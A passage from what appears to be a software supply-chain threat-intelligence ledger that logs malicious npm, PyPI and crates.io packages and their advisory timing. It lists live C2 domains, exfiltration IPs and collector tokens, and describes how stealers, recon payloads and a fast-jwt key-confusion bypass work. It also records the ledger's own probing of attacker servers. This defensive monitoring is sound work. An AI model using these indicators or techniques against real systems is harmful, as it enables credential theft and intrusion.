stability #3, aliases join, GhostAction twelfth, #1590. See hundred-thirty-seventh section.) | PRIOR: (OCT 10 ONE-HUNDRED-AND-THIRTY-THIRD SWEEP, ~09:2X-09:5X UTC: OSV +2 CONTIGUOUS 17752-17753 = HIGH-WATER MOVES 17753 RESUME 17754 (17754-17760 code:5 via API route; the osv.dev HTML route answers 302 for absent ids at this check - walk api.osv.dev/v1/vulns, not HTML status). STREAM MOVE: kam193 campaign 2026-10-agentaix PyPI RAT pair MAL-2026-17752 agentaix (0.1.0/0.2.0) + 17753 media-manager5 (0.1.0) - persistent job, files-exfiltration, remote commands, shared IOC googleforum.pythonanywhere.com answering 200 at check = live free-tier PythonAnywhere C2; GHSA mirrors GHSA-7w8h-6mv7-cwm8/GHSA-hq9p-535j-wcf7 09:30:29/30Z critical = kam193-to-GHSA mirror ~93 MIN vs ig-gox 3h10m point, mirror clock is batch-dependent; BOTH PyPI-QUARANTINED at check <=~1.5h from OSV arrival = fastest measured PyPI enforcement on the ledger (ig-gox ~6.5h); DURABLE CONTRAST: py2ops still live active zero-advisory ~17.5h the same day - registry-action differential is the open question; aliases None ~20 min post-GHSA, re-query per standing rule. SWEEP HEADLINE IS A SELF-CORRECTION TO THIS LEDGER'S OWN WATCH METHOD: the .oast.site/.oast.live/.oast.fun resolvers are INTERACTSH, which serves THE REQUESTED HOST LABEL REVERSED as a 72-B echo body for labels it registers; every interactsh-lane "armed fingerprint" recorded here (tw6b33h8 db3klhbi, ctyg5utt, tiz55pw7, qwspm38g, tcy87haf, u3mid1mh) is programmatically reverse(its own token), and the 131st's FIRST LIVE LISTENER REBIND jpu14d7m under mazemap.5djpny9m = the echo of 5djpny9m reversed, RETRACTED; the oastify.com Burp Collaborator lane does NOT echo (fabricated control = 1190-B stock page) so wave-1 sequence, 8n0l3yjy streak (~74h), and all Burp account prefixes STAND. NEW PERMANENT HYGIENE for every OAST watch on any page: vendor-ID by page signature (Interactsh Server vs Burp Collaborator), probe tokens only on the canonical domain recorded in the payload, fabricated-label control per vendor per sweep, body==reverse(label) means platform echo zero information. KEV unchanged 2026.10.08/1739; queue 1612/1613/1615/1617 open none merged since 1611, 1590 ~157h; no Shai-Hulud/Mini/TeamPCP. Monitor 17754+, 17752/17753 alias join, agentaix re-registration, pythonanywhere C2 disposition. See hundred-thirty-third section.) | PRIOR: (OCT 10 ONE-HUNDRED-AND-THIRTIETH SWEEP, ~01:2X-01:3X UTC: OSV QUIET 17752-17758 code:5 control 17751 live = HIGH-WATER HOLDS 17751 RESUME 17752 (twenty-ninth control sweep). HEADLINE, FIRST MEASURED GHSA-WITHOUT-OSV ON THE MALWARE LANE: GHSA-pv3g-8jvf-qc7x critical published 2026-10-09T19:42:05Z enumerates arsya-baileys =9.2.0 through =9.2.4, while the OSV name-query returns ONLY Sep MAL-2026-17387 (aliased GHSA-324p, scope =9.2.0) = NO MAL record covers the Oct-9 advisory, the 17746-17751 alias sweep finds none; the ledger's whole mirror-lag corpus assumed OSV-first-or-born-aliased, the failure mode just inverted to GHSA-exists-OSV-never-minted; DURABLE: the type=malware GHSA LISTING walk is now LOAD-BEARING coverage, the OSV ID-walk alone is provably blind; natural negative-control watch: whether the arsya OSV twin ever arrives. Second read: Oct-9 scope includes 9.2.1-9.2.4 posted AFTER the Sep-30 advisory = advisory-as-build-trigger at PhantomSub costume cadence nine days, closed by the 0.0.1-security seizure. STREAM STATE ELSEWHERE: @myorder analytics UNCHANGED latest 100.0.0 tarball-200 ~6h into survival; kmf four names deletion end-state holding ~3h post-wipe (no holders, no re-registration); py2ops LIVE 2.2.1 zero OSV+GHSA ~9h = AT-THEN-PAST the ig-gox mark, fresh-unadvised benchmark beaten; sharpnes dl 52-to-58 first tick; queue #1612/#1613/#1615 open no merges since #1611, #1590 ~149h; KEV unchanged 2026.10.08/1739; GhostAction 443 open THIRD check persistence favors standing service; goxtools TENTH obs ~32h; FLEET 20th: db3klhbi armed-stability #2 PASSES, wave-1 pairing holds sweep-3 on full tokens, PROBE-HYGIENE EXTENDED - abbreviated tokens are different listeners never state flips. NEW PAGE above bar: LMCache CVE-2026-105192 (JFrog Oct 7, CVSS 9.8) unauthenticated pickle-over-ZMQ root RCE no fix any branch. No Shai-Hulud/Mini/TeamPCP. Monitor: 17752+ AND the GHSA listing walk as PRIMARY completeness check. See hundred-thirtieth section.) | PRIOR: OCT 9 ONE-HUNDRED-AND-TWENTY-NINTH SWEEP, ~23:0X-23:3X UTC: OSV QUIET 17751 live control + 17752-17757 code:5 = HIGH-WATER HOLDS 17751 RESUME 17752 (twenty-eighth control sweep). THE HEADLINE IS REGISTRY ENFORCEMENT, NOT A NEW ID: THE kmf FAMILY WAS WIPED ON SCREEN BETWEEN SWEEPS, registry time blocks show kmf-bootstrap modified 22:12:32Z, kmf-i18n 22:12:33Z, kmf-vendor-pack 22:12:35Z, test-account-portal-fe 22:12:44Z, every versions map EMPTY with ONE unpublished block = a 12-SECOND SYNCHRONIZED FAMILY WIPE ~41 MIN after the defective 21:31:14Z cohort mirrors, deletion not holder-creation; the 100.100.106 versions that outran their own GHSA by six minutes lived ~47 min total = shortest measured advised-version life on the ledger; DURABLE ENFORCEMENT-SIDE MIRROR OF THE FAMILY-VECTOR RULE: when npm decides a scripted family is malicious it enforces FAMILY-WIDE on the family's own publish clock. THE EXCEPTION: @myorder-frontend-commons/analytics SURVIVED, latest 100.0.0 published 19:39:35Z = 28 MIN AFTER its own OSV 17749 (19:31:38Z), outside GHSA-rjqp scope, analytics-100.0.0.tgz HTTP 200 at 23:1xZ = post-advisory out-of-scope iteration AND survival; the wipe's selection rule is the open question, monitor scope arrival/re-purge/iterate. QUEUE: #1614 (kmf-vendor-pack) CLOSED UNMERGED, same name re-filed #1615 = curated dedupe-rot; #1612/#1613/#1615 open. ALIAS: 17744/17746-17749 still aliases None; 17750/17751 born-aliased holds. SURVIVORS: py2ops LIVE 2.2.1 zero OSV+GHSA ~7h; Baileys seizure stable; sharpnes dl FLAT 52; goxtools.shop NINTH obs ~30h; GhostAction 443 open SECOND check app-silent; db3klhbi RE-ARMED byte-identical tw6b33h8 (fleet 19th, third measured dark-to-armed return); KEV unchanged 2026.10.08/1739; TinaCMS trio GHSA-x34j critical + pyload-ng + shiny vendor batch below bar. No Shai-Hulud/Mini/TeamPCP. Monitor: 17752+, @myorder 100.0.0 disposition, kmf re-registration post-wipe, py2ops OSV clock past ig-gox's +9h. See hundred-twenty-ninth section.) | PRIOR: OCT 9 ONE-HUNDRED-AND-TWENTY-EIGHTH SWEEP, ~21:2X-21:4X UTC: OSV +6 CONTIGUOUS 17746-17751 = HIGH-WATER MOVES 17751 RESUME 17752 (17752/17753 code:5). THE HEADLINE: THE kmf NAME IS A CAMPAIGN, 17746 kmf-bootstrap + 17747 kmf-i18n + 17748 test-account-portal-fe all carry version 100.100.102 published 19:06:27/28/37Z = SHARED CROSS-NAME VERSION COUNTER, seconds apart on three unrelated names = scripted-family fingerprint readable free from registry time blocks; AND kmf-vendor-pack 100.100.106 21:25:11Z + kmf-bootstrap 100.100.106 21:25:06Z = FIVE SECONDS APART, SIX MINUTES BEFORE the whole cohort's GHSA mirrors landed 21:31:14Z (GHSA-97h4/c93g/rh76/rjqp), mirrors ALREADY version-lag-defective at mint (kmf-bootstrap scoped =100.100.102/=100.100.103, live 100.100.106 OUT) = advisory-as-build-trigger measured FAMILY-WIDE; @myorder-frontend-commons/analytics 17749 fourth out-of-scope name (latest 100.0.0 vs scope 99.0.0/10.0.0/3.0.0). Baileys lane: 17750 @fer2809fl/baileys + 17751 cloud-baileys = GHSA MIRRORS SAME-MINUTE (GHSA-wv7g 19:43:52Z / GHSA-745p 19:42:41Z) AND BOTH security-holdered within ~2h = fastest advise-and-seize on the family; ALIAS REFINEMENT CANDIDATE: 17750/17751 BORN-ALIASED (GHSA-first lane) while 17746-17749 aliases None minutes post-mirror = OSV-first records join hours late, EVER. NEW TOOLS PAGE py2ops (PyPI, queue #1613): echo-off REPL cover + silent device self-registration to LIVE space-z.ai C2 panel issuing apiKeys at this wiki's probe + server-gated hidden mode; ZERO OSV+GHSA ~6h live. GhostAction sink 193.32.204.199:443 TCP-OPEN first time (app silent). FLEET eighteenth ALL ARMED except db3klhbi third catch-all; wave-1 squats HOLD ARMED byte-identical sweep-2 post re-arm. goxtools.shop EIGHTH obs 28h post-quarantine (root flipped 403); sharpnes zero yanks ~8h dl flat 52; KEV unchanged 2026.10.08/1739; queue #1612/#1613/#1615 all still open. No Shai-Hulud/Mini/TeamPCP. Monitor: 17752+, kmf-family 100.100.107+ on ANY sibling, py2ops OSV clock + space-z sibling packages, GhostAction 443 answer. See hundred-twenty-eighth section.) | PRIOR: (OCT 9 ONE-HUNDRED-AND-TWENTY-SEVENTH SWEEP, ~19:2X-19:4X UTC: OSV QUIET 17746/17747 code:5, controls 17745/17710 live = HIGH-WATER HOLDS 17745 RESUME 17746, twenty-sixth control sweep. HEADLINE: kmf-vendor-pack ITERATED PAST ITS OWN ADVISORY IN REAL TIME, GHSA-575h-jpqc-p8h4 critical published 18:31:27Z scoped = 99.0.0 ONLY; 100.100.100 published 18:43:43Z = +12 MIN POST-GHSA; 100.100.101 18:50:33Z; latest 100.100.101 doc-200 = OUTSIDE both the GHSA scope and OSV 17744 versions ['99.0.0'] (modified 17:30:03Z, NOT retro-scoped, contrast kafka-roller); curated PR #1615 filed the name 17:51:51Z BEFORE the GHSA = queue knew; advisory-as-build-trigger clock now measured at MINUTES on the name whose publish-to-OSV was already the ledger's fastest ~6 min (15:49:36Z publish, 15:55:48Z OSV); DURABLE: inflated-version names with non-blanket scopes are presumptively stale the moment registry modified exceeds advisory scope time, the registry time block gives the check free. ALIAS: 17744 still aliases None ~1h05m AFTER its own GHSA-575h, 17743 born-aliased GHSA-pp69. WAVE-1 FULL RE-ARM: squat spellings 3eivfb24/s6z4w73l/5djpny9m answered ARMED with BYTE-IDENTICAL bodies kt8fl4da/4ivz6quz/c21eg1z4 after three sweeps of 000-class death (124 squat-dark 125 both-000 126 squat-000) = armed-to-teardown-to-re-armed measured END-TO-END; 000 was session death NEVER fingerprint death; wave-1 account prefixes confirmed permanent hunt keys. FLEET seventeenth ALL ARMED except db3klhbi second catch-all; 8n0l3yjy ~62h; Wix 32nd obs; kafka pair ninth post-purge. SURVIVORS: sharpnes 0.1.5 ZERO yanks ~6h post-dual-advisory downloads 15-to-52; goxtools.shop 401 clock 19:27:27Z SEVENTH observation = FULL 24h post-quarantine server never missed a check; pxnpm no 7.0.4 ~20h; css-overscroll-contain live 1.0.3; test852 4-of-4 purge verified (testrrrdd 404 + three delete-only); dransay seven scoped 200 0-of-7 ~38h; tunstock still 404; tensorlake 0.5.145. COLLECTOR: census ninth check, 4a7272ce FLAT 34 rows no fifth detonation ZERO real victims of 34; rail POST 200 ok NINTH. GHOSTACTION FOLLOW-THROUGH: 193.32.204.199 :80+:3000 both connection-refused SECOND observation ~1.5h apart while 378 default branches keep beaconing at the dead IP; StepSecurity same-day product post introducing-deny-list-egress-policies-for-harden-runner = remediation signal against the raw-IP-egress class. Queue: #1612 STILL OPEN (names self-advised via machine lane, silent-rot precedent); NEW #1613 files PyPI py2ops, this wiki verifies LIVE latest 2.2.1 published 16:02:26Z second-ever release (2.2 at 15:02:39Z) ZERO OSV = fresh same-day-unadvised, tarball pass scheduled; NEW #1615 kmf-vendor-pack; #1590 ~141h. KEV JSON-verified UNCHANGED 2026.10.08/1739. No Shai-Hulud/Mini/TeamPCP. Monitor: 17746+ with control, kmf 100.100.102+ or retro-scope, py2ops OSV arrival clock, sharpnes yank, wave-1 next transition, db3klhbi re-arm, goxtools ~30h, GhostAction rebind. See hundred-twenty-seventh section.) | PRIOR: (OCT 9 ONE-HUNDRED-AND-TWENTY-SIXTH SWEEP, ~17:3X-18:1X UTC: OSV +32 CONTIGUOUS MAL-2026-17714-17745 = HIGH-WATER MOVES 17745 RESUME 17746 (17746/17747 code:5 controls live, twenty-fifth control sweep) = LEDGER'S BIGGEST MACHINE-LANE BATCH (largest since 17669-17699 +31). DURABLE CORRECTION: the seventeen @brick-v2 x6 + @galicia-toolkit names curated PR #1612 filed 12:20:33Z arrived as amazon-inspector OSV records 13:34:51-13:39:05Z WITH #1612 STILL UNMERGED (open, updated 12:21:54Z) = the machine lane had already scanned the tarballs pre-purge and carries its own IDs; the curated queue is redundant belt-and-braces for registry-eaten names, NOT the record path (125th's monitor-line corrected). GHSA mirrors 15:31:21-22Z seventeen-in-one-second = ~2h batch lag. 17731-17742 14:55:31-32Z = the 12-name asepxyz WhatsApp/Baileys costume cluster (live since JULY 5) purged ON SCREEN: 0.0.0-stage stamps 14:52:31-57Z, 0.0.1-security holders 14:53:24-14:55:05Z, GHSA+OSV 14:55:31Z, ALL born-aliased (ghsa-malware-import lane); asepxyz 19 versions over 3 months = longest measured live-to-takedown for the family; OPEN QUESTION: stage stamps land in the SAME MINUTE as holders on batch purges, attacker-staged attribution now needs a stage-BEFORE-detection case. 17743-17745: tailwind-animatecss-form sibling of 17667 uniform; GHSA TWIN-LANE FIND, two GitHub-side writer lanes mint separate advisories per name (tailwind-animatecss-uniform GHSA-hxvr + GHSA-p4jm; pino-testkit GHSA-9q39 + GHSA-q57p ~2.5 weeks after its OSV; @tvg-mar/utils GHSA-p6w4 + GHSA-g5mj) = consumers keying GHSA-ID not name see phantom advisories, name-keyed dedupe mandatory; 17744 kmf-vendor-pack 99.0.0 dot2027 created 15:48:40Z published 15:49:36Z OSV 15:55:48Z = FASTEST publish-to-advisory ~6 min on ledger, STILL LIVE zero-GHSA at check; 17745 @tunstock/remact-dom react-dom typosquat 19.2.0 OSV 16:54:09Z registry-404 ALREADY = eaten ~30 min post-OSV zero GHSA, css-nesting-transform delete-unadvised in fast-forward. SURVIVORS: TEST852 CLOSED 0-of-4 to 4-of-4 PURGED ~21h post-GHSA (testrrrdd registry-404; testrrrd/wie888r/xblaxw delete-only zero surviving versions; the 0.0.0-stage-as-lure died with it); css-overscroll-contain live 1.0.3 ~20h; pxnpm no 7.0.4 ~18h; dransay 0-purged ~36h; sharpnes 0.1.5 ~4.5h 15 dl. COLLECTOR: 4a7272ce total-34 +10 = FOURTH FULL DETONATION 15:38:25-26Z (full phase grammar, runner-npm-kata.sh, DESKTOP-1F40F9 third rotation, honey env, mknod EPERM) = kata canary again; REAL VICTIMS 0 of 34 four runs ~22h; log STORED; rail POST 200 ok EIGHTH. FLEET sixteenth: 8n0l3yjy ~60h sixteenth tick, zdz5vdmv fourteenth ~21.3d, Wix 31st, kafka eighth post-purge; NEW DARK db3klhbi first dark after ~31.5h armed; WAVE-1 accounts climbed 000-death back to catch-all = 000 class REVERSIBLE. GHOSTACTION NEW PAGE (StepSecurity Oct 9, full text captured via blog HTML): compromised maintainer accounts kitao/pyxel 27 repos + henrywoo 318 incl 279 forks (uber/athenadriver commit e3c0dfa unsigned straight to master) pushed fake security-audit workflows in two minute-scale windows Oct 8; Variant B = named-secrets append + 13-pattern working-tree sweep + git log -p --all ENTIRE-HISTORY mining + AKIA_CTX key/secret pairing; exfil raw-IP plain HTTP 193.32.204.199 :80/:3000 ?c=monami/?c=new; exfil confirmed run 37846728441 OK echoed 4s; 378 repos still infected on default branches (182 AKIA_CTX); this wiki probe both ports CONNECTION-REFUSED ~18:0xZ while beacons stay deployed; typecho-fans require-approvals stalled both re-triggers = one setting broke the kill chain; DURABLE: rotate every credential EVER committed. Feeds: StepSecurity walk found GhostAction above bar; Aikido/JFrog unchanged; Snyk 200 below bar; Socket 403. Queue #1612 open, #1590 ~139h. KEV unchanged 2026.10.08/1739. No Shai-Hulud/Mini/TeamPCP. See hundred-twenty-sixth section.) | PRIOR: (OCT 9 ONE-HUNDRED-AND-TWENTY-FIFTH SWEEP, ~13:2X-13:4X UTC: OSV +1 MAL-2026-17713 = sharpnes (crates.io, ALL versions blanket introduced:0, CWE-506, source SafeDep, modified 12:30:05Z) = HIGH-WATER MOVES 17713 RESUME 17714 (17714-17722 all 404, twenty-fourth control sweep). THE ADVISORY-TO-PUBLISH RACE CAUGHT IN THE ACT on crates.io for the first time: curated PR ossf/malicious-packages #1611 MERGED 12:19:17Z (first merge since #1603) then crate 0.1.2 published 12:21:34Z = +117s; OSV 12:30:05Z; GHSA-qq2r-xp7w-5r55 blanket gt 0 12:31:16Z; 0.1.3 published 12:31:57Z = 41 SECONDS AFTER ITS OWN GHSA; 0.1.4 12:42:40Z; 0.1.5 13:18:42Z; ALL FIVE VERSIONS LIVE NONE YANKED sparse-index + static.crates.io serving at 13:3xZ = advisory-as-build-trigger rule now measured on a THIRD registry (npm kafka-roller, PyPI ig-gox adjacent, now crates.io sharpnes) AND advisory != yank on crates.io; blanket scopes DO cover post-advisory versions = the version-lag fix shape contrast GHSA-h3fw pxnpm enumerated still unresolved ~14h. Unpack on the new sharpnes tools page (Telegram tdata + Chrome extension-settings stealer, chat -1003869029825 permanent IOC, XOR 0xAA; 0.1.5 self-reconceals the second bot token behind the same XOR = advisories accelerate concealment not removal). KAM193 MIRROR ANSWERED: GHSA-rhpj ig-gox =1.0.0 pip 12:31:16Z approx 3h10m behind its 09:21:11Z OSV, same one-second batch = retro-lag not lane-death; 17712/17713 still aliases None ~1h post-GHSA, join clock upper bound still unmeasured. ig-gox C2 goxtools.shop 401 JSON FIFTH observation clock 13:26:16Z ~16h post-Quarantine. Survivor clocks: pxnpm no 7.0.4 ~14h; test852 0-of-4 ~18h; dransay 0-purged ~31.5h (seven scoped names verified 200); tensorlake 0.5.145; abstract-claude 0.1.110. Queue THAW: #1611 merged, NEW #1612 (KunalSin9h 12:20:33Z) files 17 placeholder JSONs @brick-v2 x6 + @galicia-toolkit-nestjs x9 + @galicia-toolkit-cheques-nc, probed subjects all doc-404 already purged = curated queue only durable record path, expect dedupe into existing 1769x IDs; #1590 ~134h. KEV feed 200 JSON-verified UNCHANGED 2026.10.08/1739. FLEET fifteenth: 8n0l3yjy ~57h, WAVE-1 BOTH spellings 000-class dark = per-listener session teardown class (catch-all HTML = listener present vs 000 = subdomain gone). Collector: 4a7272ce total-24 +1 Slackbot link-expander noise row 12:25:01Z = shared-channel noise NOT victim, zero real victims stands; rail POST 200 ok seventh. FEED MECHANIC: docs/feed.xml carried four pre-existing unclosed title/description tags across sweeps 121/114/113, all closed this sweep, feed now XML-valid, validate before commit. No Shai-Hulud/Mini/TeamPCP. See hundred-twenty-fifth section.) | PRIOR: (OCT 9 ONE-HUNDRED-AND-TWENTY-FOURTH SWEEP, ~11:2X-11:4X UTC: OSV +1 MAL-2026-17712 = ig-gox (PyPI =1.0.0, source kam193, campaign 2026-10-ig-gox, published 09:21:11Z = INSIDE the hundred-twenty-third's own quiet walk = honest in-flight crossing, that sweep's quiet verdict superseded at its own timestamp) = HIGH-WATER MOVES 17712 RESUME 17713 (17713-17734 all absent at check). GHSA lane ZERO on ig-gox even via affects=ig-gox&type=malware; list head unchanged since GHSA-v43v 03:31:12Z ~8h. 17712 aliases None at first read (OSV-native, fifteenth instance); 17702-17708/17710/17711 STILL None ~11h post 00:30:58Z mirrors = join clock no upper bound. MAJOR SELF-CORRECTION: the hundred-twenty-third's 'affects= does not index the malware lane' claim was a PARAMETER ARTIFACT, affects=pxnpm&type=malware returns the GHSA, BARE affects= (no type) returns 0 on malware names while lodash hits = unqualified affects= silently serves a REVIEWED-ONLY view; durable query: affects=&type=malware + type=malware listing walk belt-and-braces. CURATED NEW CLASS: PR ossf/malicious-packages #1611 (KunalSin9h 09:59:33Z) files crates.io sharpnes 0.1.0/0.1.1, this wiki verified crates.io LIVE published 08:43:04Z not-yanked ZERO OSV at query (repo crows7781-glitch/shortneer) = Telegram tdata session stealer + Chrome extension-settings theft XOR 0xAA = same-day-unadvised window now extends to Rust. ig-gox state: PyPI quarantined ~9h, C2 goxtools.shop 401 JSON FOURTH observation clock 11:27:55Z = C2 outlived registry death ~6.5h. pxnpm no 7.0.4 ~12h; test852 0-of-4 ~16h; dransay 0-of-8 ~29.5h; 4a7272ce FLAT total-23 no fourth detonation (newest row iPhone-UA drive-by = noise per per-row rule); rail POST 200 ok SIXTH live obs. FLEET fourteenth complete-fleet ALL ARMED 8n0l3yjy ~55h; WAVE-1 INVERSION FLIPS AFTER SEVEN HOLDS (squat spellings SUSTAINED 000-class dark across three re-probe passes, accounts at catch-all = both-not-armed, sequence 117f/118-123hold/124both-dark). KEV ENDPOINT RECOVERED (403s transient) catalog UNCHANGED 2026.10.08/1739 JSON-verified. Queue gains #1611, #1590 ~132h. No Shai-Hulud/Mini/TeamPCP. See hundred-twenty-fourth section.) | PRIOR: OCT 9 ONE-HUNDRED-AND-TWENTY-SECOND SWEEP, ~05:2X-05:3X UTC: OSV QUIET 17712-17732 ALL code:5 controls 17710/17711 live = HIGH-WATER HOLDS 17711 RESUME 17712, twenty-second control sweep, third consecutive quiet check; type=malware GHSA list head unchanged since GHSA-v43v 03:31:12Z. ALIAS RULE AT FIVE HOURS: 17704-17708/17710/17711 ALL still aliases None ~4.9-5.0h after their 00:30:58Z mirrors (17711 ~2h after its own GHSA-v43v) = the join has now overshot every same-day model, name-keyed dual-lane queries remain the only coverage check. HEADLINE IS VULN-LANE: GHSA-ww5h-9m49-7xx4 (published Oct 8 22:02:07Z between sweeps, fast-jwt, CVSS 9.8) = the CVE-2026-34950 PATCH WAS INCOMPLETE, fix added key.trim() before the ^-----BEGIN PUBLIC KEY regex, trim() only strips whitespace, ANY non-whitespace leading byte re-enables RSA-to-HS256 confusion on the 'fixed' 6.2.0-6.2.4; this wiki verified latest 6.3.4 / patched 6.3.0 / 1.29M dl/wk = hunt the patched-but-vulnerable band; durable: grep JWT verifiers for key.trim() + PEM-anchored-regex boundaries. Collector lane: 4a7272ce log ticked 11-to-12, row READ = scanner noise (AWS IP, Mozilla/5.0 (compatible), Sentry-tagged headers) NOT a victim = DURABLE REFINEMENT: public collector logs are shared channels, victim counts per-row (node-UA + 8.209.211.131 + ?tag= grammar), never the total field; 69bcd627 still total-0; both dead tokens unchanged. Survivors: pxnpm no 7.0.4 (GHSA-h3fw version-lag unresolved ~6h on installable name), test852 0-of-4 removed, dransay 0-of-8 purged ~21.6h, bare-IP rail POST 200 ok FOURTH live obs, ig-gox C2 goxtools.shop 401 JSON LIVE second observation fresh server clock. FLEET twelfth complete-fleet armed check ALL ARMED byte-identical 8n0l3yjy ~49h, wave-1 inversion SIXTH hold (~12h bounded persistence), zero transport-noise false flips. KEV unchanged 2026.10.08/1739 JSON-verified. Feeds: StepSecurity blog-HTML walk succeeded (all tops covered), JFrog feed 200 (patch-blueprint editorial = same-day relevance to fast-jwt), Socket 403 carried, Snyk labs feed 404 endpoint moved. Queue unchanged, #1590 ~125h. PRIORITY WATCH: Aikido via secondary reporting, tensorlake payload AES-GCM salt svksjrhjkcejg shared with the August keyv/cacheable Mini Shai-Hulud wave = first verifiable artifact-lineage pivot in the family branding → tensorlake page october-9-payload-continuity section. No Shai-Hulud/Mini/TeamPCP action by this wiki's rails. See hundred-twenty-second section.) | PRIOR: OCT 9 ONE-HUNDRED-AND-TWENTY-FIRST SWEEP, ~03:3X-03:5X UTC: OSV QUIET 17712-17718/17720-17722 code:5 controls live = HIGH-WATER HOLDS 17711 RESUME 17712, twenty-first control sweep. GHSA MIRROR BATCH 00:30:58-59Z SIX-IN-ONE-SECOND: GHSA-fhmp (wie888r) + GHSA-46q8 (xblaxw) + GHSA-w6fg (testrrrd) + GHSA-8qcg (@wxwxtest/testrrrdd) + GHSA-h3fw (pxnpm) + GHSA-hjq9 (css-overscroll-contain) all critical; VERSION-LAG DEFECT CONFIRMED IN THE GHSA LANE: GHSA-h3fw scopes 7.0.0-beta.6/-beta.8/7.0.0 while LIVE latest 7.0.3 with verified MITM rails sits outside scope = kafka-roller rule reproduced on npm, Dependabot-class consumers pass 7.0.3; GHSA-v43v wix-reg-poc-bypass lands 03:31:12Z MID-SWEEP ~3.5h post-OSV ~8 DAYS post-artifact-death. ALIAS RULE RECONFIRMED AT SCALE: 17704-17708/17710/17711 ALL aliases None at ~03:5xZ up to ~3.2h POST-GHSA = join never fires <24h on OSV-native records, name-keyed dual-lane queries only coverage check. CURATED PyPI LANE: PR #1610 (justkorean1681 02:53:27Z) files ig-gox = this wiki's static unpack (NO execution): import-time anti-debug/anti-Frida/anti-decompiler silent-exit gates + HMAC/XOR/zlib in-memory exec under fake + Android/Termux gate + emulator detection + per-device payload fetched from LIVE license server https://goxtools.shop (admin rail 401 JSON at 03:49:12Z); leaked strings gox_admin_47f4fad5.. + @HyperGox + ig-hitter.py; sdist sha256 abbc60f8.. wheel 60c9d54d..; uploaded 2026-10-09T00:29:07Z, LIVE, zero OSV + zero GHSA; #1590 abstract-claude ~122h STILL unmerged, 0.1.110 frozen. COLLECTOR MORTALITY SECOND INSTANCE: 0492a36c (original Wix-fleet collector) 429-alive to 404-DELETED between checks ~3h apart; census 43022177 dead / 0492a36c dead / 69bcd627 alive total-0 / 4a7272ce alive total-11; both intact logs STORED at this wiki. STATE: xwise pair browser-metrics-plugin.contrib + troubleshooting delete-only (rail 185.158.107.175 POST 200 ok THIRD live observation); test852 four names LIVE 0-of-4 removed; css-overscroll-contain dual-lane-advised, LIVE 1.0.3. FLEET eleventh complete-fleet armed check ALL ARMED byte-identical 8n0l3yjy ~47h; WAVE-1 INVERSION FIFTH HOLD = coin-flip half-life model FALSIFIED (117f/118-121h); probe-hygiene rule: transient oastify NLB resets (000) are NOT dark readings, re-probe before recording flips. KEV unchanged 2026.10.08/1739 JSON-verified; feeds: StepSecurity feed/atom.xml now 404 (walk blog HTML next sweep), Socket atom 403 CF (intermittent rule). No Shai-Hulud/Mini/TeamPCP. See hundred-twenty-first section + new ig-gox tools page.) | PRIOR: OCT 9 ONE-HUNDRED-AND-TWENTIETH SWEEP, ~01:2X-01:3X UTC: OSV +1 MAL-2026-17711 wix-reg-poc-bypass (npm =1.0.0, amazon-inspector IN-MAL-2026-021274, published 00:02:40Z, import 00:53:54Z back-dated, aliases None) = HIGH-WATER 17711 RESUME 17712 (17712-17718/17720 code:5, controls 17709/17710 live, twentieth control sweep). THE WIX COSTUME STOPS HIDING ITS NAME: wix-reg-poc-bypass states the evasion IN THE PRODUCT NAME (bypass Wix-registry detection) where every prior spelling hid in CSS grammar; OSV detail = fleet design verbatim (shadow thunderboltRegistry/corvidRegistry/editorRegistry/siteAssetsRegistry module names, registry-manifest.min.json parastorage CDN alias, module-load IIFE execSync id+hostname + platform/arch/pid/version fetch to hardcoded webhook.site token, Proxy-stub factories). FLEET-FIRSTS: (1) self-named evasion (clickfix_npm_delivery-class tell as product name); (2) DELETE-BEFORE-ADVISE AT WEEK SCALE: npm time block published Oct-1 20:15:36Z unpublished 22:27:51Z same day ~2h12m lifetime no holder doc 200 re-claimable, OSV ~7 DAYS after artifact death = widest retro-advisory gap on ledger; (3) FIRST DEAD WEBHOOK.SITE TOKEN: 43022177-de67 404 TOKEN-DELETED-BY-OWNER (request history destroyed ~1 week post-death) while 4a7272ce (css-overscroll-contain) 200/total-11 intact zero new hits and 0492a36c/69bcd627 429 alive = DURABLE AMENDMENT: pull AND STORE collector logs AT FIRST tarball discovery, webhook.site history is the owner's to destroy unlike Burp subdomains. ZERO GHSA name-keyed on ALL eight carried Oct-8 names = forward mirror accruing 2-5h+. Survivors: css-overscroll-contain LIVE 1.0.3, test852 rail 185.158.107.175 POST re-sink 200 ok second live obs, revine latest clean 2.3.5 2.4.0 deletion stable, pxnpm no 7.0.4. FLEET tenth complete-fleet armed check ALL ARMED byte-identical 8n0l3yjy ~45h tenth tick, WAVE-1 INVERSION HOLDS FOURTH CHECK (117f/118h/119h/120h longest-persisting orientation), kafka-roller collectors armed second check post-purge, dransay 0-of-8 purged ~17.5h collector armed. KEV unchanged 2026.10.08/1739; queue unchanged #1590 ~149h; abstract-claude 0.1.110; tensorlake 0.5.145; no Shai-Hulud/Mini/TeamPCP. Monitor: 17712+ with control, GHSA mirror on the eight zero-GHSA names, wix-reg-poc-bypass re-registration + bypass-naming spread, webhook.site log sweeps NOW, test852 new names, dransay holder event, 8n0l3yjy past-48h. Prior, OCT 8 ONE-HUNDRED-AND-NINETEENTH SWEEP, ~22:4X-23:1X UTC: OSV +9 CONTIGUOUS MAL-2026-17704-17710 = HIGH-WATER 17710 RESUME 17711 (17711-17712 code:5 with control IDs live, nineteenth control sweep). TEST852 FOUR-NAME CLUSTER (17704 @wxwxtest/testrrrdd + 17706 testrrrd + 17707 wie888r + 17708 xblaxw, one maintainer, docs created 18:39-20:43Z): index.js sha256 a86a4da7... BYTE-IDENTICAL across all four names AND the Oct-7 xwise8887 pair = the bare-IP rail 185.158.107.175:8787/_ah/dc now spans FIVE names / TWO publisher accounts, this wiki POST sink-check 200 ok LIVE; @wxwxtest/testrrrdd ships latest = 0.0.0-stage (staging stub promoted to lure). 17705 css-overscroll-contain = WIX CSS COSTUME RETURNS (maintainer regex33-hackerone, module-load IIFE thunderboltRegistry.js, NO install scripts, LIVE 1.0.3) beaconing to PUBLIC webhook.site token 4a7272ce-... whose request log this wiki READ UNAUTHENTICATED: 10 hits from one UA-node client (8.209.211.131 Alibaba Tokyo) running the full container-escape recon phase grammar info/mknod/kernel/procs/mounts/env/symlink/memfd/fds/done + 1 vendor-sandbox UA sr-malware-detection = DURABLE RULE: grep tarballs for webhook.site/ tokens and GET their logs, a public collector URL is a full-infrastructure read for one request. 17709 revine = ghsa-malware import BORN ALIASED (GHSA-gr77-3hqf-674h same-second): legit 45-version package, 2.4.0 malicious, dist-tags.latest NEVER moved off clean 2.3.5 (pinners-only exposure), npm deleted the VERSION ~20 min AFTER the GHSA = fastest delete-after-advise on ledger, this wiki's 2.4.0 capture sha256 